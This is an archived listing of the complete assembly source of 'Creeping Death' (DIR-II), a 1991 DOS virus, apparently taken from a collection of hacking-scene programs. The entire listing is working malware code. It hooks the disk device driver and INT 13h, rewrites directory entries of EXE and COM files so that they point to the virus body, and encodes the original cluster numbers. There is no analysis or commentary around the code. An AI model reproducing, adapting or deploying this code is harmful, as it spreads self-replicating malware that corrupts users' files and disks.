home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DIR-II.ASM < prev    next >
Assembly Source File  |  1991-12-14  |  10KB  |  487 lines

  1. ;        Creeping Death  V 1.0
  2. ;
  3. ;        (C) Copyright 1991 by VirusSoft Corp.
  4.  
  5. i13org    =    5f8h
  6. i21org    =    5fch
  7.  
  8.          org   100h
  9.  
  10.          mov   sp,600h
  11.          inc   counter
  12.          xor   cx,cx
  13.          mov   ds,cx
  14.          lds   ax,[0c1h]
  15.          add   ax,21h
  16.          push  ds
  17.          push  ax
  18.          mov   ah,30h
  19.          call  jump
  20.          cmp   al,4
  21.          sbb   si,si
  22.          mov   drive+2,byte ptr -1
  23.          mov   bx,60h
  24.          mov   ah,4ah
  25.          call  jump
  26.  
  27.          mov   ah,52h
  28.          call  jump
  29.          push  es:[bx-2]
  30.          lds   bx,es:[bx]
  31.  
  32. search:  mov   ax,[bx+si+15h]
  33.          cmp   ax,70h
  34.          jne   next
  35.          xchg  ax,cx
  36.          mov   [bx+si+18h],byte ptr -1
  37.          mov   di,[bx+si+13h]
  38.          mov   [bx+si+13h],offset header
  39.          mov   [bx+si+15h],cs
  40. next:    lds   bx,[bx+si+19h]
  41.          cmp   bx,-1
  42.          jne   search
  43.          jcxz  install
  44.  
  45.          pop   ds
  46.          mov   ax,ds
  47.          add   ax,[3]
  48.          inc   ax
  49.          mov   dx,cs
  50.          dec   dx
  51.          cmp   ax,dx
  52.          jne   no_boot
  53.          add   [3],61h
  54. no_boot: mov   ds,dx
  55.          mov   [1],8
  56.  
  57.          mov   ds,cx
  58.          les   ax,[di+6]
  59.          mov   cs:str_block,ax
  60.          mov   cs:int_block,es
  61.  
  62.          cld
  63.          mov   si,1
  64. scan:    dec   si
  65.          lodsw
  66.          cmp   ax,1effh
  67.          jne   scan
  68.          mov   ax,2cah
  69.          cmp   [si+4],ax
  70.          je    right
  71.          cmp   [si+5],ax
  72.          jne   scan
  73. right:   lodsw
  74.          push  cs
  75.          pop   es
  76.          mov   di,offset modify+1
  77.          stosw
  78.          xchg  ax,si
  79.          mov   di,offset i13org
  80.          cli
  81.          movsw
  82.          movsw
  83.  
  84.          mov   dx,0c000h
  85. fdsk1:   mov   ds,dx
  86.          xor   si,si
  87.          lodsw
  88.          cmp   ax,0aa55h
  89.          jne   fdsk4
  90.          cbw
  91.          lodsb
  92.          mov   cl,9
  93.          sal   ax,cl
  94. fdsk2:   cmp   [si],6c7h
  95.          jne   fdsk3
  96.          cmp   [si+2],4ch
  97.          jne   fdsk3
  98.          push  dx
  99.          push  [si+4]
  100.          jmp   short death
  101. install: int   20h
  102. file:    db    "c:",255,0
  103. fdsk3:   inc   si
  104.          cmp   si,ax
  105.          jb    fdsk2
  106. fdsk4:   inc   dx
  107.          cmp   dh,0f0h
  108.          jb    fdsk1
  109.  
  110.          sub   sp,4
  111. death:   push  cs
  112.          pop   ds
  113.          mov   bx,[2ch]
  114.          mov   es,bx
  115.          mov   ah,49h
  116.          call  jump
  117.          xor   ax,ax
  118.          test  bx,bx
  119.          jz    boot
  120.          mov   di,1
  121. seek:    dec   di
  122.          scasw
  123.          jne   seek
  124.          lea   si,[di+2]
  125.          jmp   short exec
  126. boot:    mov   es,[16h]
  127.          mov   bx,es:[16h]
  128.          dec   bx
  129.          xor   si,si
  130. exec:    push  bx
  131.          mov   bx,offset param
  132.          mov   [bx+4],cs
  133.          mov   [bx+8],cs
  134.          mov   [bx+12],cs
  135.          pop   ds
  136.          push  cs
  137.          pop   es
  138.  
  139.          mov   di,offset f_name
  140.          push  di
  141.          mov   cx,40
  142.          rep   movsw
  143.          push  cs
  144.          pop   ds
  145.  
  146.          mov   ah,3dh
  147.          mov   dx,offset file
  148.          call  jump
  149.          pop   dx
  150.  
  151.          mov   ax,4b00h
  152.          call  jump
  153.          mov   ah,4dh
  154.          call  jump
  155.          mov   ah,4ch
  156.  
  157. jump:    pushf
  158.          call  dword ptr cs:[i21org]
  159.          ret
  160.  
  161.  
  162. ;--------Installation complete
  163.  
  164. i13pr:   mov   ah,3
  165.          jmp   dword ptr cs:[i13org]
  166.  
  167.  
  168. main:    push  ax            ; driver
  169.          push  cx            ; strategy block
  170.          push  dx
  171.          push  ds
  172.          push  si
  173.          push  di
  174.  
  175.          push  es
  176.          pop   ds
  177.          mov   al,[bx+2]
  178.  
  179.          cmp   al,4          ; Input
  180.          je    input
  181.          cmp   al,8
  182.          je    output
  183.          cmp   al,9
  184.          je    output
  185.  
  186.          call  in
  187.          cmp   al,2          ; Build BPB
  188.          jne   ppp           ;
  189.          lds   si,[bx+12h]
  190.          mov   di,offset bpb_buf
  191.          mov   es:[bx+12h],di
  192.          mov   es:[bx+14h],cs
  193.          push  es
  194.          push  cs
  195.          pop   es
  196.          mov   cx,16
  197.          rep   movsw
  198.          pop   es
  199.          push  cs
  200.          pop   ds
  201.          mov   al,[di+2-32]
  202.          cmp   al,2
  203.          adc   al,0
  204.          cbw
  205.          cmp   [di+8-32],0
  206.          je    m32
  207.          sub   [di+8-32],ax
  208.          jmp   short ppp
  209. m32:     sub   [di+15h-32],ax
  210.          sbb   [di+17h-32],0
  211.  
  212. ppp:     pop   di
  213.          pop   si
  214.          pop   ds
  215.          pop   dx
  216.          pop   cx
  217.          pop   ax
  218. rts:     retf
  219.  
  220. output:  mov   cx,0ff09h
  221.          call  check
  222.          jz    inf_sec
  223.          call  in
  224.          jmp   short inf_dsk
  225.  
  226. inf_sec: jmp   _inf_sec
  227. read:    jmp   _read
  228. read_:   add   sp,16
  229.          jmp   short ppp
  230.  
  231. input:   call  check
  232.          jz    read
  233. inf_dsk: mov   byte ptr [bx+2],4
  234.          cld
  235.          lea   si,[bx+0eh]
  236.          mov   cx,8
  237. save:    lodsw
  238.          push  ax
  239.          loop  save
  240.          mov   [bx+14h],1
  241.          call  driver
  242.          jnz   read_
  243.          mov   byte ptr [bx+2],2
  244.          call  in
  245.          lds   si,[bx+12h]
  246.          mov   ax,[si+6]
  247.          add   ax,15
  248.          mov   cl,4
  249.          shr   ax,cl
  250.          mov   di,[si+0bh]
  251.          add   di,di
  252.          stc
  253.          adc   di,ax
  254.          push  di
  255.          cwd
  256.          mov   ax,[si+8]
  257.          test  ax,ax
  258.          jnz   more
  259.          mov   ax,[si+15h]
  260.          mov   dx,[si+17h]
  261. more:    xor   cx,cx
  262.          sub   ax,di
  263.          sbb   dx,cx
  264.          mov   cl,[si+2]
  265.          div   cx
  266.          cmp   cl,2
  267.          sbb   ax,-1
  268.          push  ax
  269.          call  convert
  270.          mov   byte ptr es:[bx+2],4
  271.          mov   es:[bx+14h],ax
  272.          call  driver
  273. again:   lds   si,es:[bx+0eh]
  274.          add   si,dx
  275.          sub   dh,cl
  276.          adc   dx,ax
  277.          mov   cs:gad+1,dx
  278.          cmp   cl,1
  279.          je    small
  280.          mov   ax,[si]
  281.          and   ax,di
  282.          cmp   ax,0fff7h
  283.          je    bad
  284.          cmp   ax,0ff7h
  285.          je    bad
  286.          cmp   ax,0ff70h
  287.          jne   ok
  288. bad:     pop   ax
  289.          dec   ax
  290.          push  ax
  291.          call  convert
  292.          jmp   short again
  293. small:   not   di
  294.          and   [si],di
  295.          pop   ax
  296.          push  ax
  297.          inc   ax
  298.          push  ax
  299.          mov   dx,0fh
  300.          test  di,dx
  301.          jz    here
  302.          inc   dx
  303.          mul   dx
  304. here:    or    [si],ax
  305.          pop   ax
  306.          call  convert
  307.          mov   si,es:[bx+0eh]
  308.          add   si,dx
  309.          mov   ax,[si]
  310.          and   ax,di
  311. ok:      mov   dx,di
  312.          dec   dx
  313.          and   dx,di
  314.          not   di
  315.          and   [si],di
  316.          or    [si],dx
  317.  
  318.          cmp   ax,dx
  319.          pop   ax
  320.          pop   di
  321.          mov   cs:pointer+1,ax
  322.          je    _read_
  323.          mov   dx,[si]
  324.          push  ds
  325.          push  si
  326.          call  write
  327.          pop   si
  328.          pop   ds
  329.          jnz   _read_
  330.          call  driver
  331.          cmp   [si],dx
  332.          jne   _read_
  333.          dec   ax
  334.          dec   ax
  335.          mul   cx
  336.          add   ax,di
  337.          adc   dx,0
  338.          push  es
  339.          pop   ds
  340.          mov   [bx+12h],2
  341.          mov   [bx+14h],ax
  342.          test  dx,dx
  343.          jz    less
  344.          mov   [bx+14h],-1
  345.          mov   [bx+1ah],ax
  346.          mov   [bx+1ch],dx
  347. less:    mov   [bx+10h],cs
  348.          mov   [bx+0eh],100h
  349.          call  write
  350.  
  351. _read_:  std
  352.          lea   di,[bx+1ch]
  353.          mov   cx,8
  354. load:    pop   ax
  355.          stosw
  356.          loop  load
  357. _read:   call  in
  358.  
  359.          mov   cx,9
  360. _inf_sec:
  361.          mov   di,es:[bx+12h]
  362.          lds   si,es:[bx+0eh]
  363.          sal   di,cl
  364.          xor   cl,cl
  365.          add   di,si
  366.          xor   dl,dl
  367.          push  ds
  368.          push  si
  369.          call  find
  370.          jcxz  no_inf
  371.          call  write
  372.          and   es:[bx+4],byte ptr 07fh
  373. no_inf:  pop   si
  374.          pop   ds
  375.          inc   dx
  376.          call  find
  377.          jmp   ppp
  378.  
  379. ;--------Subroutines
  380.  
  381. find:    mov   ax,[si+8]
  382.          cmp   ax,"XE"
  383.          jne   com
  384.          cmp   [si+10],al
  385.          je    found
  386. com:     cmp   ax,"OC"
  387.          jne   go_on
  388.          cmp   byte ptr [si+10],"M"
  389.          jne   go_on
  390. found:   test  [si+1eh],0ffc0h ; >4MB
  391.          jnz   go_on
  392.          test  [si+1dh],03ff8h ; <2048B
  393.          jz    go_on
  394.          test  [si+0bh],byte ptr 1ch
  395.          jnz   go_on
  396.          test  dl,dl
  397.          jnz   rest
  398. pointer: mov   ax,1234h
  399.          cmp   ax,[si+1ah]
  400.          je    go_on
  401.          xchg  ax,[si+1ah]
  402. gad:     xor   ax,1234h
  403.          mov   [si+14h],ax
  404.          loop  go_on
  405. rest:    xor   ax,ax
  406.          xchg  ax,[si+14h]
  407.          xor   ax,cs:gad+1
  408.          mov   [si+1ah],ax
  409. go_on:  ;rol   cs:gad+1,1
  410.          db    2eh,0d1h,6
  411.          dw    offset gad+1
  412.          add   si,32
  413.          cmp   di,si
  414.          jne   find
  415.          ret
  416.  
  417. check:   mov   ah,[bx+1]
  418. drive:   cmp   ah,-1
  419.          mov   cs:[drive+2],ah
  420.          jne   changed
  421.          push  [bx+0eh]
  422.          mov   byte ptr [bx+2],1
  423.          call  in
  424.          cmp   byte ptr [bx+0eh],1
  425.          pop   [bx+0eh]
  426.          mov   [bx+2],al
  427. changed: ret
  428.  
  429. write:   cmp   byte ptr es:[bx+2],8
  430.          jae   in
  431.          mov   byte ptr es:[bx+2],4
  432.          mov   si,70h
  433.          mov   ds,si
  434. modify:  mov   si,1234h
  435.          push  [si]
  436.          push  [si+2]
  437.          mov   [si],offset i13pr
  438.          mov   [si+2],cs
  439.          call  in
  440.          pop   [si+2]
  441.          pop   [si]
  442.          ret
  443.  
  444. driver:  mov   es:[bx+12h],1
  445. in:
  446.          db    09ah
  447. str_block:
  448.          dw    ?,70h
  449.          db    09ah
  450. int_block:
  451.          dw    ?,70h
  452.          test  es:[bx+4],byte ptr 80h
  453.          ret
  454.  
  455. convert: cmp   ax,0ff0h
  456.          jae   fat_16
  457.          mov   si,3
  458.          xor   cs:[si+gad-1],si
  459.          mul   si
  460.          shr   ax,1
  461.          mov   di,0fffh
  462.          jnc   cont
  463.          mov   di,0fff0h
  464.          jmp   short cont
  465. fat_16:  mov   si,2
  466.          mul   si
  467.          mov   di,0ffffh
  468. cont:    mov   si,512
  469.          div   si
  470. header:  inc   ax
  471.          ret
  472.  
  473. counter: dw    0
  474.  
  475.          dw    842h
  476.          dw    offset main
  477.          dw    offset rts
  478.          db    7fh
  479.  
  480. param:   dw    0,80h,?,5ch,?,6ch,?
  481.  
  482. bpb_buf: db    32 dup(?)
  483. f_name:  db    80 dup(?)
  484.  
  485. ;--------The End.
  486.  
  487.